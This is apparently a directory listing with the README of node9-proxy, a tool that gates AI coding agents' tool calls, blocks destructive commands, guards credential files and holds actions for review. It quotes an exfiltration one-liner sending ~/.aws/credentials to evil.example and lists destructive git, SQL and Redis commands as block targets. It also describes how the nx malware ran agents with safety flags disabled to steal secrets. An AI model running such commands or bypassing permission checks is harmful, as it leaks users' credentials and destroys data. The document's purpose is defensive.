Node9-Proxy
Shield that blocks dangerous Docker commands such as system prune, volume prune, and forceful container removal.
Always-on protection that catches risky Git operations like git push --force, git reset --hard, and git clean -fd.
Shield that blocks destructive GitHub CLI actions such as gh repo delete, remote branch deletion, and settings changes.
Shield for Kubernetes that catches [helm](/mcp/servers/integrations/helm) uninstall, namespace deletion, and cluster role wipes.
Shield that blocks destructive MongoDB operations like dropDatabase, drop(), deleteMany({}), and index drops.
Shield that catches dangerous SQL commands including DROP TABLE, TRUNCATE, DROP COLUMN, and DELETE without WHERE.
Shield that blocks dangerous Redis commands such as FLUSHALL, FLUSHDB, and CONFIG SET on live servers.
Data loss prevention that flags Stripe keys (along with AWS and GitHub tokens) when they appear in tool arguments, file contents, or shell configurations.
Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
What it looks like
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
Related MCP server: agent-sudo-mcp
Install
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platformThen, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboardRequires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
The problem
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Verify it yourself
Nothing below needs an account, and nothing uploads.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signedWhat it governs
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
Credential jail |
| |
Always-on rules | destructive git, SQL without a | |
Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | |
Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | |
Inline review | a held action asks you inside the agent conversation, or through a team approver | |
Egress allowlist | gate where a shell command may send data, off by default | |
MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | |
Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | |
Posture score | how exposed this machine is, with the command that fixes each finding | |
Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | |
Session history | read what every agent already did on this machine, before node9 was installed | |
Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | |
Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | |
Canary credentials | planted fake keys that prove an exfiltration attempt happened | |
Python SDK | govern any Python agent, not only the CLIs |
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
What can a hijacked agent do?: the blast radius of one compromised session
How an AI agent leaks a secret: the paths a credential actually takes out
Claude Code security: hooks, permission modes, and what they do not stop
MCP security: the tool surface an MCP server opens
OWASP Agentic Top 10: the list, mapped to real controls
Compare
node9 against the alternatives: a matrix, including the rows where node9 scores worse
Per-agent coverage: what is governed on each of the twelve supported agents
Related projects
node9-python: Python SDK
node9 Agent Security: the GitHub Action,
uses: node9-ai/node9-proxy@v2, gates every PR with the same engine
Enterprise
node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
License
Apache-2.0
This server cannot be deployed
Maintenance
Related MCP Connectors
Pre-execution governance for AI agents. Deterministic PASS/FAIL/REVIEW verdicts, replayable proof.
Security gateway for AI agents: policy, approval, and audited execution, no secrets shared.
Deterministic runtime safety for AI agents: scan PII, gate tool actions, verify LLM output.
Agent-native security, trust, reliability, data and procurement tools for AI workflows.
Related MCP Servers
- FlicenseNot gradedqualityAmaintenanceProvides a trust and governance layer for AI agents, enabling secure API access, credential vaulting, paid execution with human approval, and automatic call resume.7 npm2-
- AlicenseAqualityAmaintenanceLocal zero-trust permission gateway for AI agents. Enforces policy-based tool authorization, human approvals, scoped permissions, and cryptographically verifiable audit logs.456 PyPI5Apache 2.0
- AlicenseNot gradedqualityAmaintenanceWraps any AI agent harness with kernel-level protection, cryptographic signing, and portable audit trails, ensuring your agents act within your sovereignty.9Apache 2.0
- AlicenseNot gradedqualityDmaintenanceSecurity layer for AI agents that evaluates transaction intents and returns verdicts (ALLOW/WARN/DENY) using deterministic rules, on-chain checks, and simulation.9 npmMIT